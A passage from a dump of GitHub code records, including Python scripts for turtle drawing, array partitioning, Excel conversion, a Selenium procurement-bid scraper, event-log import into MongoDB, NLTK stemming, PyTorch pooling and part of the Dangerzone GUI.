15):\n\t\tturtle.seth(angle)\n\t\tturtle.circle(50)\n\n\n\tturtle.penup()\n\tturtle.position()\n\tturtle.pendown()\n\n\t#draws the stem\n\tturtle.pencolor(\"green\")\n\tturtle.pensize(5)\n\tturtle.right(75)\n\tturtle.forward(200)\n\tturtle.fillcolor(\"green\")\n\n\t#draws the right leaf\n\tturtle.pensize(2)\n\tturtle.left(75)\n\tturtle.begin_fill()\n\tfor ang in range(1, 20):\n\t\tleaf_right(turtle, ang, 10)\n\tfor ang in range(20, 15, -1):\n\t\tleaf_right(turtle, ang, 24)\n\tturtle.end_fill()\n\n\n\t#draws the left leaf\n\tturtle.penup()\n\tyaxis = turtle.ycor()\n\tturtle.setposition(0, yaxis)\n\tturtle.pendown()\n\tturtle.right(80)\n\tturtle.begin_fill()\n\tfor ang in range(1, 20):\n\t\tleaf_left(turtle, ang, 10)\n\tfor ang in range(20, 15, -1):\n\t\tleaf_left(turtle, ang, 25)\n\tturtle.end_fill()\n\n\n\tturtle.exitonclick()\n","repo_name":"myeon44/Python-Projects","sub_path":"project3/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10071232538","text":"def part4(A):\n s, e = part(A, 0, len(A)-1)\n part(A, s, e)\n\n\ndef part(A, s, e): # bug, forgot a comma\n g1, g1i = A[s], s+1\n g2, g2i = None, e # we want to discover second group\n other = s+1\n\n while other <= g2i:\n if A[other] == g1:\n A[g1i], A[other] = A[other], A[g1i]\n g1i += 1\n other += 1\n else:\n if g2 == None:\n g2 = A[other]\n if A[other] == g2:\n A[g2i], A[other] = A[other], A[g2i]\n g2i -= 1\n else:\n other += 1\n return g1i, g2i\n\n\nA = [2, 1, 3, 4, 2, 1, 3, 4, 2, 3, 2, 3, 4]\npart4(A)\nprint(A)\n","repo_name":"xavierpjb/AlgoDataStruct","sub_path":"python/IkAlgs/arrays/fourPart.py","file_name":"fourPart.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13001336493","text":"import win32com.client as win32\r\nimport os\r\n\r\nfname = '주문목록2023-07-18.xls'\r\nnew_fname = os.path.splitext(fname)[0] + \".xlsx\"\r\n\r\nexcel = win32.gencache.EnsureDispatch('Excel.Application')\r\nwb = excel.Workbooks.Open(os.path.abspath(fname))\r\n\r\nwb.SaveAs(os.path.abspath(new_fname), FileFormat=51)\r\nwb.Close()\r\nexcel.Application.Quit()","repo_name":"rklpoi1234/attre-","sub_path":"수동/xls to xlsm.py","file_name":"xls to xlsm.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74333333313","text":"name = None\ngrades = [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\"]\nstudent_data = {}\n\nwhile True:\n # Initializing name input and validation\n if name is None:\n name_input = input(\"Please give me the name of the student (q to quit): \").title()\n name = name_input\n elif name == 'Q':\n # Prints dictionary list in a readable table format and terminates the script.\n print(\"Okay, printing grades!\\n\")\n print(\"{:<22} {:1}\".format('NAME', \"GRADE\"))\n for name, grade in student_data.items():\n print(\"{:<22} {:1}\".format(name,grade))\n break\n # Checks name input against dictionary and gives user option to override current grade.\n elif name in student_data:\n print(\"A student named \" + name + \" with a grade of \" + student_data[name] + \" already exist in the database.\")\n name_input = input(\"Do you wish to overwrite this record? (y or n): \")\n if name_input == 'y':\n del student_data[name]\n name_input = name\n else:\n name_input = input(\"Please give me the name of the student (q to quit): \").title()\n else:\n # User inputs grade; validation checks against grades list to see if grade is valid input.\n grade = input(\"Please give me their grade: \")\n grade = grade.upper()\n if grade in grades:\n student_data[name] = grade\n name = None\n del grade\n else:\n print(\"Grade is in a invalid format.\\nValid Grades: A, B, C, D, E, F\")","repo_name":"cixmo/CSIS1340","sub_path":"Week10.py","file_name":"Week10.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34541729316","text":"import copy\n\n#part 1\nwith open(\"3.txt\") as f:\n length = len(f.readline().strip())\n\nnoOfLines = 0\ncountOnes = dict.fromkeys(range(length), 0)\n\nwith open(\"3.txt\") as f:\n for line in f:\n for i, char in enumerate(line.strip()):\n if char == \"1\":\n countOnes[i] += 1\n \n noOfLines += 1\n\nthreshold = noOfLines // 2\n\ngamma = \"\"\nepsilon = \"\"\n\nfor key in sorted(countOnes):\n if countOnes[key] > threshold:\n gamma += \"1\"\n epsilon += \"0\"\n else:\n gamma += \"0\"\n epsilon += \"1\"\n \n\nprint(int(gamma, 2) * int(epsilon, 2))\n\n#part 2\n#a better way to do this would be to make 2 copies of the countOnes dict\n#and update it as items are removed from each list, rather than recalculating \n#the most common bit length times\n\noxygen = [line.strip() for line in open(\"3.txt\")]\n\nco2 = copy.copy(oxygen)\n\ni = 0\nwhile (len(oxygen) != 1):\n count = 0\n \n for num in oxygen:\n if num[i] == \"1\":\n count += 1\n mc = \"1\" if (count * 2 >= len(oxygen)) else \"0\"\n \n for num in list(oxygen):\n if num[i] != mc and len(oxygen) > 1:\n oxygen.remove(num)\n i += 1\n \ni = 0\nwhile (len(co2) != 1):\n count = 0\n \n for num in co2:\n if num[i] == \"1\":\n count += 1\n lc = \"0\" if (count * 2 >= len(co2)) else \"1\"\n \n for num in list(co2):\n if num[i] != lc and len(co2) > 1:\n co2.remove(num)\n \n i += 1\n\nprint(int(oxygen[0], 2) * int(co2[0], 2))\n\n \n\n\n\n\n \n \n\n","repo_name":"safianali/AdventOfCode","sub_path":"2021/3/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71562017474","text":"# -*- coding: utf-8 -*-\n\"\"\"Family module for Meta Wiki.\"\"\"\n#\n# (C) Pywikibot team, 2005-2016\n#\n# Distributed under the terms of the MIT license.\n#\nfrom __future__ import absolute_import, unicode_literals\n\nfrom pywikibot import family\n\n\n# The meta wikimedia family\nclass Family(family.WikimediaOrgFamily):\n\n \"\"\"Family class for Meta Wiki.\"\"\"\n\n name = 'meta'\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n super(Family, self).__init__()\n\n self.interwiki_forward = 'wikipedia'\n self.cross_allowed = ['meta', ]\n\n self.category_redirect_templates = {\n 'meta': (\n 'Category redirect',\n ),\n }\n\n # Subpages for documentation.\n self.doc_subpages = {\n '_default': (('/doc',), ['meta']),\n }\n","repo_name":"joomla-projects/gsoc17_helpscreens_pywiki","sub_path":"pywikibot/families/meta_family.py","file_name":"meta_family.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"28956692197","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nimport pandas as pd\nimport datetime\nimport time\nimport os\nprint('start')\ntimes = 20\nwhile True:\n if str(datetime.datetime.now())[11:13] == '10':\n\n times = 20\n print(times)\n #if not (str(datetime.datetime.now())[0:10].replace('-', '') + '.csv' in os.listdir('bin')):\n if True:\n times = 50\n print(times)\n driver = webdriver.Chrome('./chromedriver_1')\n results = []\n querylist = ['홈페이지', '플랫폼', '포털', '시스템', '구축', '빅데이터', '산학협력', '산학포털', 'LINC', '업무지원', '평생교육', '솔루션']\n querylist2 = ['중앙신체검사소', '한국감정원', '한국교육학술정보원', '한국산업단지공단', '한국사학진흥재단', '한국산업기술평가관리원', '한국가스공사', '신용보증기금',\n '중앙119구조본부', '한국정보화진흥원', '중앙교육연수원', '한국장학재단', '대구경북첨단의료산업진흥재단', '의료기술시험훈련원', '한국뇌연구원',\n '한의기술응용센터', '한국도로공사', '한국건설관리공사', '교통안전공단', '국립농산물품질관리원', '농림축산검역본부', '국립종자원', '한국전력기술',\n '대한법률구조공단', '우정사업조달사무소', '기상통신소', '조달품질원', '한국법무보호복지공단', '에너지경제연구원', '근로복지공단', '노동부고객상담센터',\n '한국산업인력공단', '한국산업안전보건공단', '국립재난안전연구원', '한국동서발전', '한국석유공사', '한국에너지공단', '한국토지주택공사', '주택관리공단',\n '한국시설안전공단', '중소기업진흥공단', '한국산업기술시험원', '한국세라믹기술원', '한국남동발전', '한국승강기안전관리원', '국방기술품질원', '중앙관세분석소',\n '한국저작권위원회', '대구광역시', '대구광역시교육청', '대구광역시교육연구정보원', '경상북도교육청', '경상북도교육연구원', '경상북도교육정보센터',\n '국립대구과학관']\n n = len(querylist) * len(querylist2)\n t = 0\n try:\n for query in querylist:\n for query2 in querylist2:\n t = t + 1\n driver.get('http://www.g2b.go.kr:8101/ep/tbid/tbidFwd.do')\n\n # 업무 종류 체크\n # task_dict = {'용역': 'taskClCds5', '민간': 'taskClCds20', '기타': 'taskClCds4'}\n # for task in task_dict.values():\n # checkbox = driver.find_element_by_id(task)\n # checkbox.click()\n\n instNm = driver.find_element_by_id('instNm')\n instNm.clear()\n instNm.send_keys(query2)\n instNm.send_keys(Keys.RETURN)\n # 입찰정보 검색 페이지로 이동\n\n # 검색어\n # id값이 bidNm인 태그 가져오기\n bidNm = driver.find_element_by_id('bidNm')\n # 내용을 삭제 (버릇처럼 사용할 것!)\n bidNm.clear()\n # 검색어 입력후 엔터\n bidNm.send_keys(query)\n bidNm.send_keys(Keys.RETURN)\n # 검색 조건 체크\n option_dict = {'검색기간 1달': 'setMonth1_1', '입찰마감건 제외': 'exceptEnd'}\n for option in option_dict.values():\n checkbox = driver.find_element_by_id(option)\n checkbox.click()\n # 목록수 100건 선택 (드롭다운)\n recordcountperpage = driver.find_element_by_name('recordCountPerPage')\n selector = Select(recordcountperpage)\n selector.select_by_value('100')\n # 검색 버튼 클릭\n search_button = driver.find_element_by_class_name('btn_mdl')\n search_button.click()\n # 검색 결과 확인\n elem = driver.find_element_by_class_name('results')\n div_list = elem.find_elements_by_tag_name('div')\n # 검색 결과 모두 긁어서 리스트로 저장\n # results.append(query)\n # if len(div_list)!=0:\n # results.append(query)\n for div in div_list:\n results.append(div.text)\n a_tags = div.find_elements_by_tag_name('a')\n if a_tags:\n for a_tag in a_tags:\n link = a_tag.get_attribute('href')\n results.append(link)\n # 검색결과 모음 리스트를 12개씩 분할하여 새로운 리스트로 저장\n # result = [results[i * 13:(i + 1) * 13] for i in range((len(results) + 13 - 1) // 13 )]\n result = [results[i * 12:(i + 1) * 12] for i in range((len(results) + 12 - 1) // 12)]\n # 결과 출력\n print(round(t / n * 100, 2))\n # print(result)\n except Exception as e:\n # 위 코드에서 에러가 발생한 경우 출력\n print(e)\n finally:\n # 에러와 관계없이 실행되고, 크롬 드라이버를 종료\n driver.quit()\n\n my_df = pd.DataFrame(result)\n my_df.to_csv('bin/test.csv', index=False, header=False, encoding='cp949')\n my_df.to_csv('bin/' + str(datetime.datetime.now())[0:10].replace('-', '') + '.csv', index=False,\n header=False, encoding='cp949')\n time.sleep(60 * times)","repo_name":"Choewonyeong/Standard_Project4","sub_path":"runRev1.py","file_name":"runRev1.py","file_ext":"py","file_size_in_byte":6486,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25168709525","text":"from typing import Any, Optional\n\nfrom tests.common.query_context_generator import QueryContextGenerator\nfrom tests.integration_tests.base_tests import SupersetTestCase\n\n\nclass QueryContextGeneratorInteg(QueryContextGenerator):\n def get_table(self, name, id_, type_):\n return SupersetTestCase.get_table(name=name)\n\n\ndef get_query_context(\n query_name: str,\n add_postprocessing_operations: bool = False,\n add_time_offsets: bool = False,\n form_data: Optional[dict[str, Any]] = None,\n) -> dict[str, Any]:\n \"\"\"\n Create a request payload for retrieving a QueryContext object via the\n `api/v1/chart/data` endpoint. By default returns a payload corresponding to one\n generated by the \"Boy Name Cloud\" chart in the examples.\n :param query_name: name of an example query, which is always in the format\n of `datasource_name[:test_case_name]`, where `:test_case_name` is optional.\n :param add_postprocessing_operations: Add post-processing operations to QueryObject\n :param add_time_offsets: Add time offsets to QueryObject(advanced analytics)\n :param form_data: chart metadata\n :return: Request payload\n \"\"\"\n return QueryContextGeneratorInteg().generate(\n query_name=query_name,\n add_postprocessing_operations=add_postprocessing_operations,\n add_time_offsets=add_time_offsets,\n form_data=form_data,\n )\n","repo_name":"apache/superset","sub_path":"tests/integration_tests/fixtures/query_context.py","file_name":"query_context.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":55269,"dataset":"github-code","pt":"61"} +{"seq_id":"14935169481","text":"from rest_framework.parsers import FileUploadParser, FormParser, MultiPartParser\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom event_log.models import EventLogAttribute as Attribute, EventLog\n\nfrom pm4py.objects.log.importer.xes import factory as xes_importer\nfrom datetime import datetime\nfrom pymongo import MongoClient\nfrom pcubes_ws.settings import DATABASES\nimport time\nimport tempfile\n\n\nclass FileUploadView(APIView):\n parser_classes = [FormParser, MultiPartParser]\n\n def put(self, request, format=None):\n print(request.data)\n print(request.FILES)\n file_obj = request.data['file']\n\n fp = tempfile.NamedTemporaryFile(suffix=\".xes\")\n fp.close()\n with open(fp.name, 'wb') as f:\n f.write(file_obj.read())\n\n log_id = import_xes(fp.name)\n\n return Response({'log': log_id})\n\n\ndef import_xes(xes_file):\n t_start = time.time()\n # TODO: maybe not the best way to connect to the db\n client = MongoClient(host=DATABASES['mongo']['HOST'])\n db = client[DATABASES['mongo']['NAME']]\n trace_collection = db['traces']\n event_collection = db['events']\n\n t1 = time.time()\n # raw log from file\n log = xes_importer.import_log(xes_file)\n t2 = time.time()\n print('xes_importer.import_log: ' + str(t2 - t1))\n # delete file after import?\n # os.remove(xes_file)\n\n # Get name log log, if specified\n if('concept:name' in log.attributes):\n log_name = xes_file + ': ' + log.attributes['concept:name']\n else:\n log_name = xes_file\n\n # Construct event log object\n event_log = EventLog(name=log_name)\n event_log.save()\n log_id = event_log.id\n\n # Helper Functions\n\n def add_log_id(trace):\n trace['log'] = log_id\n return trace\n\n def add_trace_attrs(e, trace):\n for tattr in trace:\n if tattr != 'log':\n e['trace:' + tattr] = trace[tattr]\n\n e['log'] = log_id\n return e\n # --------\n\n # Collect all attributes\n t1 = time.time()\n event_attributes = {\n attr for trace in log for event in trace for (attr, v) in event.items() if type(v) is not dict}\n\n trace_attributes = {attr for trace in log for (\n attr, v) in trace.attributes.items() if type(v) is not dict}\n\n # Dict attributes, make each key of the dict to an attribute\n event_attributes2 = {(k, k2) for trace in log for event in trace for (k, v) in event.items()\n if type(v) == dict for (k2, v2) in v['children'].items()}\n trace_attributes2 = {(k, k2) for trace in log for k, v in trace.attributes.items()\n if type(v) == dict for (k2, v2) in v['children'].items()}\n\n t2 = time.time()\n print('time to find all attributes list: ' + str(t2 - t1))\n # ---------------\n\n # Collect traces + events\n t1 = time.time()\n all_traces = [add_log_id(trace.attributes) for trace in log]\n trace_collection.insert_many(all_traces, ordered=False)\n t2 = time.time()\n print('collect and save traces: ' + str(t2 - t1))\n\n t1 = time.time()\n all_events = [add_trace_attrs(event._dict, trace.attributes)\n for trace in log for event in trace._list]\n\n t2 = time.time()\n print('time to construct events list: ' + str(t2 - t1))\n\n # Construct Attribute objects\n t1 = time.time()\n all_attributes = [Attribute(name=attr, queryname=attr, case_attribute=False, log=event_log, dtype='str') for attr in event_attributes] + [\n Attribute(name=attr, queryname=\"trace:\" + attr, case_attribute=True, log=event_log, dtype='str') for attr in trace_attributes] + [\n Attribute(name=k2, queryname='trace:' + k + '.children.' + k2, case_attribute=True, log=event_log, dtype='str') for (k, k2) in trace_attributes2] + [\n Attribute(name=k2, queryname=k + '.children.' + k2, case_attribute=False, log=event_log, dtype='str') for (k, k2) in event_attributes2]\n\n Attribute.objects.bulk_save(all_attributes)\n t2 = time.time()\n print('time to get values of attributes: ' + str(t2 - t1))\n # ---------------\n\n # Save events\n t1 = time.time()\n event_collection.insert_many(all_events, ordered=False)\n t2 = time.time()\n print('time to save events: ' + str(t2 - t1))\n\n print('#Traces: ' + str(len(all_traces)))\n print('#Events: ' + str(len(all_events)))\n # ----------------\n\n t_end = time.time()\n print('Total: ' + str(t_end - t_start))\n\n return log_id\n","repo_name":"lschade/Process-Cubes-Webapp","sub_path":"pcubes_ws/import_xes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74275853955","text":"#To obtain stem of the word.\n#To obtain the root word as it containg the same meaning. eg. riding and ride\n\nfrom nltk.stem import PorterStemmer\nfrom nltk.tokenize import word_tokenize\n\nps = PorterStemmer()\n\nexample_words = [\"python\", \"pythoner\", \"pythoning\", \"pythoned\", \"pythonly\"]\n\nfor w in example_words:\n print(ps.stem(w))\n\nnew_text = \"It is very important to be pythonly while pythoning with python. All pythonets have pythoned poorly atleast once\"\n\nwords = word_tokenize(new_text)\n\nfor w in words:\n print(ps.stem(w))\n","repo_name":"anagharumade/NLTK","sub_path":"01-stem_of_words.py","file_name":"01-stem_of_words.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24836397744","text":"# [Translator classes and functions for Lunar Lander environment]\n\nclass BasicLevelTranslator:\n def __init__(self,):\n pass\n\n def translate(self, state):\n x, y, x_dot, y_dot, angle, angular_velocity, left_leg_contact, right_leg_contact = state\n left_contact_info = \"in contact\" if left_leg_contact else \"not in contact\"\n right_contact_info = \"in contact\" if right_leg_contact else \"not in contact\"\n return f\"The lander is at position ({x:.2f}, {y:.2f}), the horizontal speed of movement is {x_dot:.2f}, \" \\\n f\"the vertical velocity speed of movement is {y_dot:.2f}. The angle is {angle:.2f} radians, and it's rotating at {angular_velocity:.2f} radians per second. The left leg is {left_contact_info} with ground. The right leg is {right_contact_info} with ground.\"\n\nclass GameDescriber:\n def __init__(self, args):\n self.is_only_local_obs = args.is_only_local_obs == 1\n self.max_episode_len = args.max_episode_len\n self.action_desc_dict = {\n }\n self.reward_desc_dict = {\n }\n \n def describe_goal(self):\n return \"The goal is to successfully land the lander on the landing pad which is at position (0, 0) while avoiding crash.\"\n\n def translate_terminate_state(self, state, episode_len, max_episode_len): \n return \"\"\n \n def translate_potential_next_state(self, state, action):\n return \"\"\n \n def describe_game(self):\n return \"In the Lunar Lander game, you control a lander that is descending towards \" \\\n \"the landing pad. The goal is to successfully land the lander on the landing pad \" \\\n \"while avoiding crash. Please note that the lander is affected by gravity, and the lander starts at the \" \\\n \"top center of the viewport with a random initial force applied to its center of mass. \" \\\n \"Be careful to balance the engine to slow down your descent \" \\\n \"and land gently. If you land too quickly or crash into the landing pad, the game will \" \\\n \"end, and you will be punished.\"\n \n def describe_action(self):\n return \"Your Next Move: \\n Please choose an action. Type '1' to do noting, '2' to fire left engine and make lander move to right, '3' to fire main engine and make lander move to up, \" \\\n \"or '4' to fire right engine and make lander move to left. Ensure you only provide the action number from the valid action list, i.e., [1, 2, 3, 4].\"\n\n\nclass BasicStateSequenceTranslator(BasicLevelTranslator):\n def translate(self, infos, is_current=False):\n descriptions = []\n if is_current: \n state_desc = BasicLevelTranslator().translate(infos[-1]['state'])\n return state_desc\n for i, info in enumerate(infos):\n assert 'state' in info, \"info should contain state information\"\n \n state_desc = BasicLevelTranslator().translate(info['state'])\n if info['action'] == 1:\n action_desc = f\"Take Action: 'Do Noting'\"\n elif info['action'] == 2:\n action_desc = f\"Take Action: 'Fire left engine'\"\n elif info['action'] == 3:\n action_desc = f\"Take Action: 'Fire main engine'\"\n else:\n action_desc = f\"Take Action: 'Fire right engine'\"\n reward_desc = f\"Result: Reward of {info['reward']}, \"\n next_state_desc = BasicLevelTranslator().translate(info['next_state'])\n descriptions.append(f\"{state_desc}.\\n {action_desc} \\n {reward_desc} \\n Transit to {next_state_desc}\")\n return descriptions\n","repo_name":"mail-ecnu/Text-Gym-Agents","sub_path":"envs/box2d/LunarLander_translator.py","file_name":"LunarLander_translator.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12634455457","text":"# 最大池化的作用就是尽量减少数据维度,但有保留需要的数据特征,减小训练量\n\nimport torch\nimport torchvision.datasets\nfrom torch import nn\nfrom torch.nn import MaxPool2d\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\ndataset = torchvision.datasets.CIFAR10(\"../dataset\", train=False, transform=torchvision.transforms.ToTensor(),\n download=True)\ndataloader = DataLoader(dataset, batch_size=64)\n\ninput_ = torch.tensor([[1, 2, 0, 3, 1],\n [0, 1, 2, 3, 1],\n [1, 2, 1, 0, 0],\n [5, 2, 3, 1, 1],\n [2, 1, 0, 1, 1]], dtype=torch.float32)\ninput_ = torch.reshape(input_, (-1, 1, 5, 5))\nprint(input_.shape)\n\n\nclass Hula(nn.Module):\n def __init__(self) -> None:\n super().__init__()\n self.maxpool1 = MaxPool2d(kernel_size=3, ceil_mode=False)\n\n def forward(self, input):\n output = self.maxpool1(input)\n return output\n\n\nhula = Hula()\n# output = hula(input_)\n# print(output)\n\nwriter = SummaryWriter(\"../logs_maxpool\")\nstep = 0\nfor data in dataloader:\n imgs, target = data\n writer.add_images(\"input\", imgs, step)\n output = hula(imgs)\n writer.add_images(\"output\", output, step)\n step += 1\n\nwriter.close()\n","repo_name":"huladandan/test","sub_path":"src/14.nn_maxpool.py","file_name":"14.nn_maxpool.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13134983758","text":"import logging\nimport os\nimport platform\nimport shlex\nimport subprocess\nimport typing\nfrom pathlib import Path\nfrom typing import Dict, Optional\n\nfrom colorama import Fore\n\n# FIXME: See https://github.com/freedomofpress/dangerzone/issues/320 for more details.\nif typing.TYPE_CHECKING:\n from PySide2 import QtCore, QtGui, QtWidgets\n\n from . import Application\nelse:\n try:\n from PySide6 import QtCore, QtGui, QtWidgets\n except ImportError:\n from PySide2 import QtCore, QtGui, QtWidgets\n\nif platform.system() == \"Linux\":\n from xdg.DesktopEntry import DesktopEntry\n\nfrom ..isolation_provider.base import IsolationProvider\nfrom ..logic import DangerzoneCore\nfrom ..settings import Settings\nfrom ..util import get_resource_path, replace_control_chars\n\nlog = logging.getLogger(__name__)\n\n\nclass DangerzoneGui(DangerzoneCore):\n \"\"\"\n Singleton of shared state / functionality for the GUI and core app logic\n \"\"\"\n\n def __init__(\n self, app: \"Application\", isolation_provider: IsolationProvider\n ) -> None:\n super().__init__(isolation_provider)\n\n # Qt app\n self.app = app\n\n # Only one output dir is supported in the GUI\n self.output_dir: str = \"\"\n\n # Preload font\n self.fixed_font = QtGui.QFontDatabase.systemFont(QtGui.QFontDatabase.FixedFont)\n\n # Preload list of PDF viewers on computer\n self.pdf_viewers = self._find_pdf_viewers()\n\n # Are we done waiting (for Docker Desktop to be installed, or for container to install)\n self.is_waiting_finished = False\n\n def get_window_icon(self) -> QtGui.QIcon:\n if platform.system() == \"Windows\":\n path = get_resource_path(\"dangerzone.ico\")\n else:\n path = get_resource_path(\"icon.png\")\n return QtGui.QIcon(path)\n\n def open_pdf_viewer(self, filename: str) -> None:\n if platform.system() == \"Darwin\":\n # Open in Preview\n args = [\"open\", \"-a\", \"Preview.app\", filename]\n\n # Run\n args_str = replace_control_chars(\" \".join(shlex.quote(s) for s in args))\n log.info(Fore.YELLOW + \"> \" + Fore.CYAN + args_str)\n subprocess.run(args)\n\n elif platform.system() == \"Windows\":\n os.startfile(Path(filename)) # type: ignore [attr-defined]\n\n elif platform.system() == \"Linux\":\n # Get the PDF reader command\n args = shlex.split(self.pdf_viewers[self.settings.get(\"open_app\")])\n # %f, %F, %u, and %U are filenames or URLS -- so replace with the file to open\n for i in range(len(args)):\n if (\n args[i] == \"%f\"\n or args[i] == \"%F\"\n or args[i] == \"%u\"\n or args[i] == \"%U\"\n ):\n args[i] = filename\n\n # Open as a background process\n args_str = replace_control_chars(\" \".join(shlex.quote(s) for s in args))\n log.info(Fore.YELLOW + \"> \" + Fore.CYAN + args_str)\n subprocess.Popen(args)\n\n def _find_pdf_viewers(self) -> Dict[str, str]:\n pdf_viewers: Dict[str, str] = {}\n if platform.system() == \"Linux\":\n # Find all .desktop files\n for search_path in [\n \"/usr/share/applications\",\n \"/usr/local/share/applications\",\n os.path.expanduser(\"~/.local/share/applications\"),\n ]:\n try:\n for filename in os.listdir(search_path):\n full_filename = os.path.join(search_path, filename)\n if os.path.splitext(filename)[1] == \".desktop\":\n # See which ones can open PDFs\n desktop_entry = DesktopEntry(full_filename)\n if (\n \"application/pdf\" in desktop_entry.getMimeTypes()\n and desktop_entry.getName() != \"dangerzone\"\n ):\n pdf_viewers[\n desktop_entry.getName()\n ] = desktop_entry.getExec()\n\n except FileNotFoundError:\n pass\n\n return pdf_viewers\n\n\nclass Dialog(QtWidgets.QDialog):\n def __init__(\n self,\n dangerzone: DangerzoneGui,\n title: str,\n ok_text: str = \"Ok\",\n has_cancel: bool = True,\n cancel_text: str = \"Cancel\",\n extra_button_text: Optional[str] = None,\n ) -> None:\n super().__init__()\n self.dangerzone = dangerzone\n self.setProperty(\"OSColorMode\", self.dangerzone.app.os_color_mode.value)\n\n self.setWindowTitle(title)\n self.setWindowIcon(self.dangerzone.get_window_icon())\n self.setModal(True)\n\n flags = (\n QtCore.Qt.CustomizeWindowHint\n | QtCore.Qt.WindowTitleHint\n | QtCore.Qt.WindowSystemMenuHint\n | QtCore.Qt.WindowCloseButtonHint\n | QtCore.Qt.WindowStaysOnTopHint\n )\n self.setWindowFlags(flags)\n\n message_layout = self.create_layout()\n\n self.ok_button = QtWidgets.QPushButton(ok_text)\n self.ok_button.clicked.connect(self.clicked_ok)\n\n self.extra_button: Optional[QtWidgets.QPushButton] = None\n if extra_button_text:\n self.extra_button = QtWidgets.QPushButton(extra_button_text)\n self.extra_button.clicked.connect(self.clicked_extra)\n\n self.cancel_button: Optional[QtWidgets.QPushButton] = None\n if has_cancel:\n self.cancel_button = QtWidgets.QPushButton(cancel_text)\n self.cancel_button.clicked.connect(self.clicked_cancel)\n\n buttons_layout = self.create_buttons_layout()\n\n layout = QtWidgets.QVBoxLayout()\n layout.addLayout(message_layout)\n layout.addSpacing(10)\n layout.addLayout(buttons_layout)\n self.setLayout(layout)\n\n def create_buttons_layout(self) -> QtWidgets.QHBoxLayout:\n buttons_layout = QtWidgets.QHBoxLayout()\n buttons_layout.addStretch()\n\n buttons_layout.addWidget(self.ok_button)\n if self.extra_button:\n buttons_layout.addWidget(self.extra_button)\n if self.cancel_button:\n buttons_layout.addWidget(self.cancel_button)\n\n return buttons_layout\n\n def create_layout(self) -> QtWidgets.QBoxLayout:\n raise NotImplementedError(\"Dangerzone dialogs must implement this method\")\n\n def clicked_ok(self) -> None:\n self.done(int(QtWidgets.QDialog.Accepted))\n\n def clicked_extra(self) -> None:\n self.done(2)\n\n def clicked_cancel(self) -> None:\n self.done(int(QtWidgets.QDialog.Rejected))\n\n def launch(self) -> int:\n return self.exec_()\n\n\nclass Alert(Dialog):\n def __init__( # type: ignore [no-untyped-def]\n self,\n *args,\n message: str = \"\",\n **kwargs,\n ) -> None:\n self.message = message\n kwargs.setdefault(\"title\", \"dangerzone\")\n super().__init__(*args, **kwargs)\n\n def create_layout(self) -> QtWidgets.QBoxLayout:\n logo = QtWidgets.QLabel()\n logo.setPixmap(\n QtGui.QPixmap.fromImage(QtGui.QImage(get_resource_path(\"icon.png\")))\n )\n\n label = QtWidgets.QLabel()\n label.setText(self.message)\n label.setWordWrap(True)\n label.setOpenExternalLinks(True)\n\n message_layout = QtWidgets.QHBoxLayout()\n message_layout.addWidget(logo)\n message_layout.addSpacing(10)\n message_layout.addWidget(label, stretch=1)\n\n return message_layout\n\n\nclass UpdateDialog(Dialog):\n def __init__( # type: ignore [no-untyped-def]\n self,\n *args,\n intro_msg: Optional[str] = None,\n middle_widget: Optional[QtWidgets.QWidget] = None,\n epilogue_msg: Optional[str] = None,\n **kwargs,\n ) -> None:\n self.intro_msg = intro_msg\n self.middle_widget = middle_widget\n self.epilogue_msg = epilogue_msg\n super().__init__(*args, **kwargs)\n\n def create_layout(self) -> QtWidgets.QBoxLayout:\n self.setMinimumWidth(500)\n message_layout = QtWidgets.QVBoxLayout()\n\n if self.intro_msg is not None:\n intro = QtWidgets.QLabel()\n intro.setText(self.intro_msg)\n intro.setWordWrap(True)\n intro.setAlignment(QtCore.Qt.AlignCenter)\n intro.setOpenExternalLinks(True)\n message_layout.addWidget(intro)\n message_layout.addSpacing(10)\n\n if self.middle_widget is not None:\n self.middle_widget.setParent(self)\n message_layout.addWidget(self.middle_widget)\n message_layout.addSpacing(10)\n\n if self.epilogue_msg is not None:\n epilogue = QtWidgets.QLabel()\n epilogue.setText(self.epilogue_msg)\n epilogue.setWordWrap(True)\n epilogue.setOpenExternalLinks(True)\n message_layout.addWidget(epilogue)\n message_layout.addSpacing(10)\n\n return message_layout\n\n\nclass CollapsibleBox(QtWidgets.QWidget):\n \"\"\"Create a widget that can show/hide its contents when you click on it.\n\n The credits for this code go to eyllanesc's answer in StackOverflow:\n https://stackoverflow.com/a/52617714. We have made the following improvements:\n\n 1. Adapt the code to PySide.\n 2. Resize the window once the box uncollapses.\n 3. Add type hints.\n \"\"\"\n\n def __init__(self, title: str, parent: Optional[QtWidgets.QWidget] = None):\n 